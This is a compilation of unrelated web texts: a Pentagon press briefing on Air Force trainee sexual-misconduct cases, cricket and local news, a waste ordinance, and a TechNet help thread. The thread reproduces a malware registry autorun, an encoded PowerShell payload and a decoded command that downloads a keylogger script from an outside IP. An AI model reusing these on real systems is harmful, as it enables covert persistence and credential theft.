text:
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It supports C++, using some SDK and it promises that it halves the development time (havn't I heard that one before :P) and it is cross platform, looks interesting.
here are some links:
REAL Software: REALbasic for C++ Developers
REAL Software: REALbasic, Best Development Tool for Mac, Windows and Linux


text:
Six Air Force basic training instructors have been charged with a range of alleged sexual misconduct offenses involving trainees, the senior officer in charge of Air Force training said Thursday. The Air Force is investigating similar allegations against six other instructors.
All of the instructors allegedly involved are men. All of the 31 identified victims are women.
Only allegations at this point, Gen. Edward Rice told Pentagon reporters Thursday. But he's "being as aggressive" as possible in pursuing the investigation and is "extremely disappointed" that it could happen.
Want more detail? Here's the press conference transcript, as provided by the Pentagon:
LT. COL. JOHN DORRIAN: Good afternoon, ladies and gentlemen. It's my privilege today to welcome General Edward Rice, Jr., commander of Air Education and Training Command. General Rice has been AETC commander since November of 2010. AETC consists of 12 bases, almost 68,000 active-duty, Reserve, Guard, civilians, and contractors, and more than 1,300 trainer, fighter, and mobility aircraft.
General Rice has been in Washington for the past couple of days, briefing members of Congress and their staffs on the comprehensive strategic review of the Air Force training community, as well as the ongoing investigations into military training instructor misconduct. The general's here to discuss these topics today and to answer your questions.
He'll have some brief opening remarks. Then he'll ask -- take your questions. In order to make sure that we can answer as many questions as possible, I'll select a reporter and ask that you limit yourself to a question and follow-up, and then let someone else ask theirs. When you ask your question, please give your name and your organization.
General Rice, sir, the floor is yours.
GEN. EDWARD RICE: Thank you all for coming today. I'd like to make a brief statement and then open the floor to your questions.
Let me begin by saying you're going to hear me use the word "alleged" numerous times today. This is because most of the cases that I will discuss are still moving through the legal process, and it's important that we not prejudge any of these cases in any way and remember that each person that we are investigating is innocent until proven guilty.
Basic military training in the United States Air Force is conducted at Lackland Air Force Base in San Antonio, Texas. Each year, approximately 35,000 young Americans complete the intensive eight-and-a-half-week training program and become the newest airmen in the United States Air Force. The training program is administered by a cadre of some 500 military training instructors, or MTIs, who have been selected after undergoing a rigorous screening process and completing an intensive training program.
The vast majority of these MTIs are great Americans, who live up to the high standards we demand of those who are entrusted with the critically important and sensitive mission of turning ordinary citizens into airmen.
In the fall of 2011, we discovered to our great disappointment that we had a number of MTIs who were alleged to have engaged in sexual misconduct with trainees. Some of this alleged misconduct occurred while the trainees were in basic military training, and some of this alleged misconduct occurred after the trainees graduated from BMT, but were still in what we call the technical training environment. In the former cases, the trainees were under the direct supervision of the alleged perpetrator. In the latter cases, they were not.
That said, regardless of whether the activity occurred in basic military training or in the technical training environment, personal relationships of any kind between trainees and instructors is strictly prohibited by our regulations and our instructions.
As soon as we received the first allegation of misconduct, we aggressively investigated the matter and further tightened those protective measures that were already in place. For example, the training group commander and an interdisciplinary team, including the judge advocate, the sexual assault response coordinator, and the chaplain brief all trainees within 72 hours of their arrival on their rights and responsibilities to report misconduct.
The training group commander reads every urgent sheet from a trainee within 24 hours. It's a comment sheet that we have, so he reads very urgent comment sheet from a trainee within 24 hours, and any -- any allegation of sexual misconduct results in immediate action, including the instructor is removed from his or her flight, a no-contact order is issued, and the MTI hat which signifies -- identifies that person as an instructor is temporarily removed, pending investigations.
Our commanders at every single level continue to aggressively work issues and to be as transparent as possible with the public. Moreover, we worked diligently to identify the victims and provide them with care and support. We have trained professionals at all of our bases to provide medical care and counseling for our airmen.
We're also reviewing a series of actions to address systemic issues, such as expanded training for trainees, instructors, and leadership, reassessing the instructor selection process, hiring more instructors, and other initiatives. These actions are designed to help us address the root causes of the issue.
To help ensure we have left no stone unturned in this regard, I have also directed a review by a major general who was not assigned to Air Education and Training Command. This external review will examine all the actions we have taken thus far to address this issue and provide me with feedback on what more we can do to prevent misconduct in our training environment and to strengthen our entire training enterprise.
In closing, I want to underscore again that the vast majority of our 500 military training instructors are performing magnificently in a tremendously demanding environment. No one -- no one is more angry and disappointed than they are that a relatively small number of their cadre has cast a shadow over the entire program.
I am committed, as are they, and as everyone -- and as everyone who is involved in the basic military training program, we are all committed to doing everything possible to investigate those allegations, to take care of the victims, to hold the perpetrators accountable, and to fix any institutional problems that may have facilitated this completely unacceptable behavior.
Thank you for your attention. I'm ready to take your questions.
Q: What do you say to women out there who want to go to the Air Force, through the basic training? How can they be assured that they will be protected going through this, given the large number of cases?
GEN. RICE: I would tell any young lady, as I would tell any young man -- the Air Force is a great way of life. The feedback that we get from people who have gone through our training program, 98 percent to 99 percent of them say it's been a great training experience for them and that they're proud of being part of the Air Force and looking forward to serve. So I would tell them to join and that they can be assured that we will continue to do everything that we can to -- excuse me -- provide them with a safe and secure training environment.
Q: How do you explain the large number of cases that have come about -- 12 cases here? That's --
GEN. RICE: We have a very rigorous screening process and a training process in order to ensure that we are doing everything we can to provide instructors for our trainees who will live up to our high standards. That said, our process is not perfect. And as with other institutions, we on a continuing basis look at those processes and procedures in that entire training program to ensure that we are doing everything possible to get instructors who will adhere to our very high standards of conduct.
And when we find someone who doesn't, as in this case, we take very aggressive action to identify them and hold them accountable for their actions. And we will continue to do that.
Q: One of the airmen, Airman -- I believe it was Vega-Maldonado -- copped a plea, admitting that he had an improper relationship with one of the trainees, but then later, in an evidentiary hearing, he admitted that it wasn't one woman, it was 10. Does that cause you to worry that there are many, many -- many cases out there that you haven't discovered yet?
GEN. RICE: We are taking a comprehensive look, not only at the cases that we know, but trying to do the best that we can to assess whether or not there are other cases out there. So we have interviewed all of the basic military trainees who were -- at least we've given a survey to all the basic military trainees who were in training at that time, and we are broadening the scope of our investigation to ensure that we've done everything we can to identify the scope of what we are dealing with.
And at this point, we have identified some 31 victims and are actively seeking any others that may have been affected by this.
Q: General, Craig Whitlock with the Washington Post. You know, you've talked about the screening process for instructors. You know, these aren't just any people in the Air Force. These are your instructors, dealing with recruits. And as you made clear, the rules were pretty straightforward, in terms of sexual misconduct and harassment with recruits, are pretty black-and-white. Is there a cultural problem, do you think, at Lackland, that you could have this number of instructors be implicated in investigations like this? And is there a command climate problem there, as well?
GEN. RICE: I think it's important to note, I indicated we had 12 instructors that are under investigation. Nine of those 12 were in one unit. So we have an organization by squadron and basic military training. We have a total of nine squadrons, and nine of them came from one squadron.
So in my assessment to this point, it is not an issue of an endemic problem throughout basic military training. It is more localized, and we are doing a very intensive investigation on that squadron to find out what exactly happened and why.
Q: Sorry, to follow up real quick, the 31 victims, were -- were they all from Lackland or other bases, as well?
GEN. RICE: They all went through training at Lackland.
Q: That was where the nature of the --
GEN. RICE: The nature of the misconduct could have happened -- could have happened in basic military training when they were under the direct supervision of a trainer or it could have happened after they graduated and were in the technical training environment, so that may not have happened at Lackland. It could have happened weeks or months later.
Q: Sir, which squadron had the nine in the one unit? And who was the commander of that squadron?
GEN. RICE: I'll provide you that information, both off the record [note: information was provided after the briefing on the record]. It was the 331st Training Squadron, was the --
Q: I'm sorry, 331st?
GEN. RICE: Yes.
Q: And who is the commander?
GEN. RICE: That I'll get to you. I don't recall the name.
Q: Sir, Luis Martinez with ABC News. You mentioned that there's a survey that's gone out to potential people that may have been affected by this. Can you give us the parameters for that? I mean, what is the universe of people who are receiving that survey? How far back does it go, in terms of experience?
GEN. RICE: Initially, we surveyed everybody who was at BMT at the time, basic military training, so we took a very almost unprecedented step of shutting down basic military training for an entire day, 24-hour period, and we took a series of actions --to and include surveying all of the trainees to get their assessment of the training program and whether or not or they had experienced any misconduct. And the results of that were that we got very little back, in terms of negative comments from our trainees.
We -- as a part of the larger investigation that I have directed -- are now expanding that survey process to look back at other classes who have gone through, and that will be much more extensive, going back one to two years of period of time.
Q: Number -- an estimate of the universe -- how much -- how many thousands or how many hundreds of people are you potentially talking about?
GEN. RICE: We train 35,000 airmen a year. And I would again underscore, as we survey each and every one of them at the end of their training experience, the vast majority of them, 98 percent, 99 percent, give us very positive feedback on their training experience. So, I don't depend on only the survey to provide me with feedback on whether or not we have an issue here. That's one means, but not the only means that we're using.
Q: General, Karen Parrish, American Forces Press Service. What recourse do trainees have during training to make a complaint, ask for help, reach out? I mean, it's normally a very tight environment. There's not a lot of outside contact. So how can they raise an issue? And how often do they have the opportunity?
GEN. RICE: One of the most effective means -- so they're -- I would answer it in two ways. First, they have sessions at the end of each day with their training instructor, and leadership comes in and attends some of those training sessions, so there's an opportunity there.
But there's also a series of comment boxes placed throughout basic military training, in places where they won't be seen if they put a comment in there, and so they have an opportunity on a, you know, daily basis several times a day to anonymously fill out a comment and let us know if there's something wrong. And we've -- we've had this in place for many years as a way of giving us feedback, and allowing them to have feedback.
Q: Sir, hi, this is David Cloud with the L.A. Times. Just so I'm clear, there are 31 identified victims so far. Are those all recent trainees? I mean, and how far back does that -- does the period in which they were in training go? And are you concerned that there may be many more who were trained by these same people or by this -- by this unit who might be affected?
GEN. RICE: These are all relatively recent trainees, as in they've been through the training program in the last two years. So since about '09, maybe two-and-a-half years, so about the fall of '09 was when these victims were identified as having been engaged -- or involved in this activity. And I think the second part of your question was --
Q: How concerned are you that the activity was underway before -- before -- it involves victims who you haven't identified yet who -- who potentially years -- went to training years ago?
GEN. RICE: I don't, again, have an indication of that to this point. Investigation is ongoing. We will look at that, in terms of when it started. But at this point, our indications were the fall of '09 was the start of this group of activity.
Q: Do you have any explanation for why it would have started then?
GEN. RICE: I don't at this point. Again, it looks like it's localized in one squadron. And what the dynamics were of that squadron and the MTIs in that squadron is unknown. We are conducting a deep set of interviews, but because many of the people who have the information are in the legal process now, we aren't able to interview them and get some of the answers to the questions. So this will be an ongoing process to pull this apart and understand what happened.
Q: Yes, I'm going to follow up on David's -- excuse me -- question about the 31 identified victims so far. Can you give us any information about where they are now? Are they all still in the Air Force? And are all of them receiving treatment? And, sorry, Chris Carroll from Stars and Stripes.
GEN. RICE: To my knowledge, they are all still in the Air Force. They would be, because they would have either a four- or a six-year commitment to the Air Force, so it would be very unusual that they would -- that they would leave. And they are scattered throughout the Air Force, so they've completed their -- in many cases, their training program and are performing duties out in the Air Force.
So as we have conducted these investigations and identified them, we've gone through an extensive effort to find out where they're located, contact them, and offer them the fullest array of support that we can for victims in those cases I described earlier.
Q: Yes, Jim Miklaszewski, NBC. Is it Major General Woodward is --
GEN. RICE: Yes.
Q: OK. How would you describe -- is it a review, an investigation? What is she doing exactly? And there were reports that several other bases were identified as potential problem spots. Do you have a total number for that?
GEN. RICE: I'll answer both questions. What she is conducting is an investigation into the actions that we have taken internally as a command thus far. So we took a series of actions to both deal with the immediate situation and to look at more systemic issues.
So one of her charges is to look at what we've done and to ensure that what we have done makes sense in the larger scheme of things and to also look at our own guidance and regulations and to ensure that we were following them in the execution of basic military training.
In addition --
Q: (off mic) the Air Force reaction (off mic)
GEN. RICE: She's looking into my command's actions -- reactions to what we did, one. And then, secondarily, I've asked her to look at all of the available information about other cases, situations where something similar has happened and to ensure that we have left no stone unturned in our approach to this and to provide me with recommendations on areas that we may have not looked that we may look at in the future to additionally shore up and strengthen our ability to confront this issue in the future.
Q: You look at all the indications -- implications about some similar things that have happened. Is that in addition (off mic)
GEN. RICE: In other training environments. So in other settings, in --
Q: (off mic)
GEN. RICE: No. I'm not referring to any specific cases. I'm talking about other institutions that are like ours that may have had similar issues, and reports have been written on those. I've asked her to review all of that literature and all of the reports that have been written and to determine whether there's something more that we can do as we look at this issue.
Q: And just a housekeeping matter. You said 35,000 are trained per year. Do you have a percentage of how many of those would be women?
GEN. RICE: Twenty-two percent.
Q: Twenty-two percent? And are there any indications that there was any sexual misconduct or assaults involving men? Because it has been reported in other services that that has happened.
GEN. RICE: No.
Q: Kristin Davis, Air Force Times. I have two questions. One is involving Vega-Maldonado, who during testimony admitted to having -- (inaudible) -- is there -- I -- I know that he had -- (inaudible) -- immunity, but is there any indication that he may be charged in any of the other cases at this point?
GEN. RICE: No.
Q: And the other question, if you could speak to the timing of the command-directed investigation. This I guess has been going on about a year now. And now this CID is going on. Can you talk about why now?
GEN. RICE: You said that the command-directed investigation has been ongoing for a year?
Q: No, no, I'm sorry. The basically investigation into the sexual assaults have been going on for a year, but this command-directed investigation has just been charged, I guess. Could you speak to the timing of that?
GEN. RICE: Again, we have taken a series of aggressive actions internal to my command, and as I've looked at all of those actions, I felt it was important that I get not just an internal look at this, but also an external look, because I believe that it's possible for us not to see things because we've been so close to it over the past year. So this is an extra step to see if there's anything that we've missed or that we can do that we haven't thought of, not the only step.
Q: What was Vega-Maldonado's rank before he was reduced to airman? And if he -- he has admitted that he assaulted 10 women. Why is he remaining in the Air Force?
GEN. RICE: I believe he was a staff sergeant. We'll double-check that for you. And he has been -- when you are given jail time, you are still in the military as part of that jail time. So he has been serving out his jail time and, as a consequence of that, must remain in the military.
Q: (off mic)
GEN. RICE: And -- and the -- the sentence that is pronounced when someone goes into the legal process and is given a court martial is something that is adjudicated as part of that process.
Q: What is the likelihood that, once he finishes his jail time, that the Air Force will throw him out?
GEN. RICE: I wouldn't speculate on that, but I would say -- so I won't speculate on that. I mean, he will be given a discharge from the Air Force if -- at the termination of his sentence here, if that's the -- if that's the question.
Q: Sir --
Q: Sir, Richard Sisk, the War Report Online. How did these allegations come about? Did the victims come forward? Or in the course of this, did the leadership at some point become aware of it and then initiated it?
GEN. RICE: We had our military training instructors come forward and provide us with information that they overheard from other military training instructors. I described the screening process, the training process that we have for our military training instructors.
At the end of the day, the best line of defense is for the training instructors, in fact, to police themselves. And that's what happened in this case. Some training instructors overheard others who were talking about something that was clearly unacceptable. They came forward. We began to investigate. And that investigation led to other people that we found that were engaged in this activity.
Q: But not the victims themselves, it was other -- other instructors?
GEN. RICE: In the first case, it was the victim herself. In all of the other cases, it was not the victims themselves.
Q: The misconduct allegedly begins, I believe you said, in the fall of '09. When -- when does the leadership become aware? When do the -- when do the other instructors come forward? How long of a period that the leadership is just unaware?
GEN. RICE: June of '09 was the first case that I discussed of the 12, and then November of '09 is when the three military training instructors came forward with the information on the additional cases.
Q: (off mic) let me follow up on that, just make sure I understand the chronology. So in November '09, you had the three military --
GEN. RICE: Yes, I'm sorry. I got -- the year is wrong. So this was '11.
Q: Oh, OK. So just -- just -- because otherwise it makes it sound like you knew -- OK.
GEN. RICE: Yes, so it's -- just to be correct here, June of '11 was the first case where the young lady came forward. And then November of '11 was when the three other cases came under investigation.
Q: But you believe the misconduct goes back to the fall of '09?
GEN. RICE: As we've looked again at the victims, the first case of a victim was the fall of '09.
Q: And I guess, more generally speaking then, it's been eight months since these three instructors came forward to tell you they had overheard things, this was clearly wrong, they're policing themselves? Particularly that 331st squadron, do you feel like you have a handle on the extent of the problem and individuals involved at this point? Or are you -- is that still under review? Could it be worse?
GEN. RICE: We are still under the investigation of both that squadron and the entire basic military training. The number I gave you is the number that we have today. As we have gone through this, some of those cases, it's possible that they could be proven not to have done any wrongdoing. And we may get others.
So we continue this investigation. We are leaving no stone unturned. I'm not minimizing this investigation. In fact, I'm being as aggressive as I can. And we won't stop the investigation until I'm completely satisfied that we've done as thorough a job as we possibly can.
Q: Sir, I just want to clarify. The commander of the 331st is the same commander who has been in place since the misconduct came to light?
GEN. RICE: The previous commander of the 331st, who was in command during the period of time from '09 to this activity has been relieved.
Q: Been relieved?
GEN. RICE: Yes.
Q: When was that?
GEN. RICE: He was relieved last month, or early this -- are we still in June? He was relieved earlier this month.
Q: For what?
GEN. RICE: He was relieved because he was the commander of a unit in which an unacceptable level of misconduct occurred by members of his unit.
Q: I apologize, General, but I'm a little confused. I get November of '11 and June 2011. But the fall of '09, was the Air Force aware of this sexual misconduct and/or sexual assault in the fall of '09? Or is this a case discovered in '11 that dates back to '09?
GEN. RICE: The latter. Discovered in '11. As we started to look at when the victims were victimized, it goes back to the fall of '09.
Q: I would like some clarification about the commander of the 331st. If he has been relieved, does that mean he is -- remains in the Air Force or just relieved of that --
GEN. RICE: He remains in the Air Force, but he's relieved of his command responsibilities.
Q: So where is he now?
GEN. RICE: He is still at Lackland.
Q: At Lackland?
GEN. RICE: Yes.
Q: And what is his role there?
GEN. RICE: He's in administrative hold at this point, pending determination of what his next assignment will be.
Q: Is there an active investigation into anything further that he may have been involved in? Is he under investigation?
GEN. RICE: His entire unit is under investigation, as is the entire basic military training organization.
Q: And is that unit -- if it's under investigation, does that mean they are not involved in training right now?
GEN. RICE: No, they are still involved in training.
Q: They're still involved in training.
GEN. RICE: That's correct.
Q: And again, I go back to -- it's hard for me to imagine that you don't know the name of his commander. What is his name?
GEN. RICE: I've already answered that.
Q: You don't know the name?
GEN. RICE: Yes.
Q: And how many of the trainers -- you said the trainers need to police themselves. What percentage of the trainers are women?
GEN. RICE: Eleven percent.
Q: A small question. What -- how many MTIs are in a squadron?
GEN. RICE: We have a total of 500 MTIs, and each squadron has about 35 to 40.
Q: Are you -- are you considering putting all female training flights under the sole supervision of women?
GEN. RICE: It's a possibility. I haven't made a determination about that yet.
Q: Where are you in that process? Or what factors into that decision?
GEN. RICE: After I review all of the information from all of the investigations, then I will make a determination about the best way forward here.
Q: I understand the nine of the 12 were in the 331st. Of the six that have been charged so far, I know Walker was in the -- I believe it was the 326th. The two most recent charged, where they also in the 331st, Crawford and Smith?
GEN. RICE: Yes.
Q: Sir, you said that after you review all the information, you're going to make a determination of whether it may be you might assign only women drill instructors or women MTIs to trainees. Has that ever happened in the past? I mean, when did such a -- or has it always been that you have -- that you had male instructors over --
GEN. RICE: We've never had a case where we've only had female instructors over female trainees, so we've always had a mixture. And that has a lot to do with how every week we get a new group of trainees that come to basic military training, and we have instructors that have just completed their last class, and we assign instructors to those classes as we form them, as the trainees come in every week. And so I will look at whether or not we need to both hire more female MTIs and whether or not we need to adjust our process to have only female MTIs over female flights.
Q: What would be the benefit -- what would be the benefits, looking at it right now, of having only female MTIs with female trainees?
GEN. RICE: I'm not sure there is one. So, again, I haven't made that determination yet. We'll make that at a later date.
Q: (off mic) I don't want to assume -- or maybe you said earlier, but of the 12 cases of suspected misconduct involving MTIs, are those 12 MTIs, are they all men?
GEN. RICE: Yes. The 12 MTIs are all men -- are all males, uh-huh.
Q: (off mic) Reuters. You said that you were going to re-examine the way that you did hiring for the MTIs. How specifically can you group characteristics or past history to find something, whether or not these trainers would eventually engage in misconduct? What specifically are you going to ask or look into to see if this is something you can --
GEN. RICE: Again, premature to determine how we will change it. We have a very rigorous process now that involves records review, that involves a screening for psychological traits. It's done both with a written test and an interview with someone from our behavioral sciences department.
And so we've got a pretty strong screen in place, but I think in terms of being thorough, we have to look back and determine whether or not there's something more that we can do in that part of the process.
Q: Is there any indication yet that there was similar misconduct at any of the other training facilities in the Air Force?
GEN. RICE: No indication at this point.
Q: And, quite frankly, I mean, you know, you're head of the training unit. You know, these are all your charges. What was your personal reaction when you heard about these cases?
GEN. RICE: Well, extremely disappointed, again, that this would happen in an environment that we very much want to be a safe and secure environment for every young person that comes in. And any case of misconduct by our trainees is extremely disappointing to me.
But at the same time, I took it as very important for me to focus on this and to ensure that we are doing everything we can to continue to strengthen that environment and to weed out any unacceptable behavior. And so over this period of time, this has been at the very top of my personal list of items that I am paying personal attention to and working to ensure that we are thoroughly investigating it, holding those accountable, and taking care of our victims.
Q: It seems maybe -- the facts point to this, but I just want to get your statement on it. Have you concluded that this was an organized -- organized is maybe the wrong word -- but a -- that the MTIs collaborated in assaulting women, that they talked about, that they planned it? Is that what was going on here? Together -- I mean, in other words, it wasn't individual. It wasn't a series of individual activity. It was a coordinated activity?
GEN. RICE: I'm not prepared yet to talk about exactly what we know. We are still looking at that. And again, a lot of the information is still unfolding, in terms of exactly what happened in this one unit. That's the subject of a very intense investigation, and I'm not prepared at this point to talk about what we know.
OK? Yes.
Q: You said it was in June of '11, three MTIs come forward. Were they male or female?
GEN. RICE: A combination.
Thank you.

subset: commoncrawl


text:
Captain hits unbeaten 119 as tourists recover from poor start to reach 223-2 in the second Test against Sri Lanka.
Ross Taylor hit a solid century as New Zealand recovered from early blows to post a healthy 223-2 on the opening day of the second and final Test against Sri Lanka on Sunday.
The tourists were struggling at 14-2 in the fourth over before skipper Taylor (119 not out) and Kane Williamson (95 not out) propped up the innings with an unfinished 209-run stand for the third wicket at the P. Sara Oval.
Taylor completed his eighth Test hundred, and his first against Sri Lanka, in the last session when he flicked seamer Shaminda Eranga to deep square-leg for two.
Williamson provided valuable support and looked set to complete his third Test century when play was called off due to rain, with more than nine overs remaining in the day.
Determined performance
|Day one scorecard
New Zealand first innings
M Guptill c Mathews b Kulasekara 4
Bowling: Kulasekara 13.5-2-42-1 (nb1), Eranga 14-0-70-1, Mathews 5-1-14-0,
New Zealand, shot out for 221 and 118 during their 10-wicket defeat in the opening Test in Galle, staged a more determined performance this time and Taylor led from the front.
The tourists made the most of winning the toss on a good batting pitch as Taylor and Williamson frustrated Sri Lanka with responsible batting against both pace and spin.
The New Zealand captain, who gave a difficult chance on 14 when his edge off Eranga went past Angelo Mathews in the slips, has so far hit 10 fours in his 241-ball knock, while Williamson's 229-ball innings included eight fours.
The pair denied Sri Lanka for more than two sessions, taking no risks and patiently waiting for loose deliveries to punish.
Left-arm spinner Rangana Herath, who took 11 wickets in the last Test, was pressed into the attack after 14 overs but failed to break the stand. He has so far conceded 45 runs in his 21 overs.
New Zealand made a poor start, losing openers Martin Guptill and Brendon McCullum in the first four overs.
Guptill was caught by Mathews at first slip in Nuwan Kulasekara's opening over. McCullum was unlucky to be given out leg-before off Eranga as TV replays suggested he had inside-edged the delivery on to his pad.
Guptill and McCullum each scored four.
Sri Lanka made one change from the last Test, replacing Dimuth Karunaratne with fit-again opener Tillakaratne Dilshan.
The tourists brought in debutant leg-spinner Todd Astle in place of all-rounder James Franklin.
England in control
In the second Test in Mumbai, England have reduced India to 117-7 and a lead of just 31 runs at the close of day three.
Captain Alastair Cook and Kevin Pietersen both hit centuries and spinner Monty Panesar tore through India's batsmen taking five wickets to leave the visitors on the verge of victory.
India were 327 all out in their first innings after winning the toss and electing to bat. England replied with a 413 all out.


text:
Suspicious Powershell Activity
We've found a powershell process that recently has started launching when a user logs in, and it appears to be communicating with an outside IP address - not associated with our company at all. I haven't been able to find the source for this besides two entries in the registry that keep reappearing.
The registry keys are as follows:
In HKLM/Software/Microsoft/Windows/CurrentVersion/Run:
PowerShellAD - "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKLM:Software\Microsoft\Windows\CurrentVersion ComputerID).ComputerID);powershell -Win Hidden -enc $x"
In HKLM/Software/Microsoft/Windows/CurrentVersion:
Certificate - cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASABZADUAQgBTADgATgBBAEUASQBYAC8AeQBoADcARQB0AG8AZABzAEUASQB4AEsAUQB2AEEAUQByAFkAaQAwAEYAbABxAHEASQBCADQAbQBtAHoARQBkAHMAOQBrAEoAawA2AG0AbABpAFAALwBkAEoASwBmADMAbQBQAGYAeAA1AG4AMQBzAHoANwAxAGkAYQA5AGUAbwBkAG8AdgB5AFEAdwA0ADMAVABFAEYAWABFAEsAQgBHACsAVQB6AFQAOABZAHAAUwBvAEMAaAA5AGsAUQBQAEYAUABYAGkAcQBRAEkAbABEAEEAZAA2AFgANABCAHEAVABtADEAOQB6AG8AWABKAEUAOAA1AGUAWgA1ADgAZAAzAE0AMQAvAGoASwBYAG8AdAB2ADkARwBwAEcAYQB2AGYAcwBDAHcAOABZAGQAQwBGAGYAZQBCAFQAOABBAHoAVgBWAG8AVgBDAFAAWgA4AGQAVgBMAHMAKwBqAGUAUAByAHgAQwBZADMAOQBqAGEAeABWADMAZABKADMARAB1AGgAVAB1ACsAcAB5AGcAVgBDAHgAZQAxAGwAZwBCAGIAegBCAHMAKwBlADYAOQBrAGkATQAwACsAbwAwAFEAcwBPADAANABVAGIANwBEAE8AegBJAC8AVQBZAHIAVABpAFEAcwBtAFIAbQBlAEQAYwBRAEUAMQBZAGMAaABGAHUAYwA3AEgASQA1AHkAUgA2AE8AZgBzAHkAYwBwADIANQBDAE4AOQB6AHIAUAB3AD0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA
Below is a screenshot of the processes that start when logging in:
For the time being, we've put in place a rule to prevent Powershell from running, but we need help finding the source of this and removing it.
So far, virus scans and root-kit scans are not finding anything, but we're also preventing this from running so it may not find anything.
Any help would be appreciated.
Thank you,
Todd25 июля 2016 г. 15:03
Все ответы
after decoding and decompressing the encoded string, one gets to a commmand which downloads a further script:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
(New-Object Net.WebClient).DownloadString('https://22.214.171.124/script?id=random&name=keylog')
the resulting script seems to be based on PowerSploit25 июля 2016 г. 19:53
OK. That makes sense since the inital tasks that are started have the web address string in the command line within Task Manager.
Any idea where this may be downloading the scripts, or where I need to search next for possible infection?
Todd25 июля 2016 г. 19:57
what do you mean "where this may be downloading the scripts"?
It is run via the registry key you found, which you should delete.
It is downloading from the ip address 126.96.36.199.
The original vector/dropper might have been via browser or email.
I for myself would nuke from orbit ( = reinstall Windows), but you could contact someone at bleepingcomputer.com25 июля 2016 г. 20:58
Unfortunately, when I delete this reg key from my PC, it gets reapplied within a few hours. I need to find the source PC first before I nuke anything.
I'll post at bleepingcomputer.com to see if they can help with how to track down the source (and hopefully prevent more!)
Thanks for the help.
Todd26 июля 2016 г. 11:21
We are looking forward to your good news:)
Please mark the reply as an answer if you find it is helpful.If you have feedback for TechNet Support, contact firstname.lastname@example.com июля 2016 г. 9:44
So mystery is somewhat solved. I traced it down to a powershell command that was placed in our default domain group policy. I removed this entry and it seems to be slowing removing itself from the network.
The next thing to figure out now is where this came from. There are only three people at our company with the domain password and none of us put that there.
The task that was running in the group policy, said it was created by domain\administrator so we are a bit perplexed over this one. Any ideas on how to trace this part of it?
James5 августа 2016 г. 19:53


text:
Authorities are warning drivers parking in one New Jersey town to watch out for razor blades when they put money in meters.
Rutherford police say eight utility knife blades have been found in borough parking meter coin slots over the last six months, most recently on Monday.
The blades were found in meters along Park Avenue, Ridge Road, the Kip Garage and The Park and Ride, Rutherford Police Chief John Russo said.
"It may be a disgruntled resident who doesn't want to pay the parking, but it could be someone definitely trying to injure someone," Russo told NorthJersey.com. "Either way someone could really get hurt."
Russo says investigators are processing fingerprints pulled from the meters where the razors were found.
Police posted an alert on the borough's website urging residents and visitors to be "mindful and vigilant when depositing monies into parking meters."
Anyone who discovers a razor blade in a meter or sees someone putting one in a meter is asked to contact the Rutherford Police Department at 201-939-6000.


text:
[Adopted 10-21-1988 by Ord. No. 24-88 (Ch. 78, §§ 78-1 to 78-31, of the 1969 Code)]
[Amended 4-16-2008 by Ord. No. 9-08]
As used in this article, the following terms shall have the meanings indicated:
- The residue from burning wood, coal, coke or other combustible materials.
- Any material such as lumber, brick, plaster, gutters, roofing material or other substances accumulated as a result of work performed on or demolition of structures.
- Normally loose items which shall be collected if organized into bundles of not more than four feet in length and tied with heavy twine, rope, wire, etc. Such bundles shall be organized so that they may be conveniently handled by one person and shall weigh no more than 50 pounds.
- A combining of nonputrescible source-separated recyclable materials for the purpose of recycling.
- The Solid Waste and Recycling Coordinator for the Township of Morris. Includes the position and duties of Municipal Recycling Coordinator.[1]
- The Township of Morris Roads and Sanitation Department.
- Those materials designated within the Morris County District Solid Waste Management Plan to be source-separated for the purpose of recycling. These materials include aluminum cans and cans made from aluminum that was manufactured to hold a serving of a beverage. Specifically omitted from this definition are aluminum foil and aluminum pie plates.
- The Director of Public Works for the Township of Morris.
- Putrescible animal and/or vegetative waste resulting from the handling, cooking, preparation or consumption of food, and shall include the fecal waste from any animal or bird (when fecal matter has been separated from other waste and is double bagged prior to placement for collection).
- Bottles and jars made from glass, including clear, brown and green glass. A "bottle" is defined as a receptacle having a narrow neck and a mouth that can be corked or capped. A "jar" is defined as a widemouthed container that can be capped. Caps and lids are not included. Specifically omitted from this definition are drinking glasses, windows, mirrors, light bulbs, and anything made of Pyrex® or ceramic.
- Any waste or combination of wastes which poses a present or potential threat to human health, including but not limited to waste material that is toxic, carcinogenic, corrosive, irritating, sensitizing, biologically infectious, explosive, flammable, or radioactive and/or any waste so designated by the United States Environmental Protection Agency or the New Jersey Department of Environmental Protection.
- Includes but is not limited to all instruments, supplies, containers, bandages, gloves, etc., used by health care practitioners and facilities as described in the New Jersey Department of Health regulations and New Jersey law, Section 306 of the Manual of Standards for Hospitals and Facilities, and N.J.S.A. 2C:36-6.1.[2]
- Every waste accumulation of paper, sweepings, dirt, dust, rags, bottles, cans or other matter of any kind, other than garbage, which is usually attendant to housekeeping.
- All waste, including solids, semisolids, sludge and liquids, created by factories, processing plants or other manufacturing or industrial enterprises.
- Any nontaxable (exempt) properties, whether they are religious or educational, service facilities or institutional establishments, which may be residential or nonresidential, at which garbage may be generated.
- Any used or unconsumed substance or waste material which has been discarded, whether made of aluminum, glass, plastic, rubber, paper or other natural or synthetic material, or any combination thereof, including but not limited to any bottle, jar, can, any unlighted cigarette, cigar, match or flaming or glowing material or any garbage, trash, refuse, debris, rubbish, grass clippings or other lawn or garden waste, newspaper, magazines, glass, metal, plastic or paper containers or other packaging or construction material, but does not include the waste of the primary processes of mining or other extraction process, logging, sawmilling, farming or manufacturing.
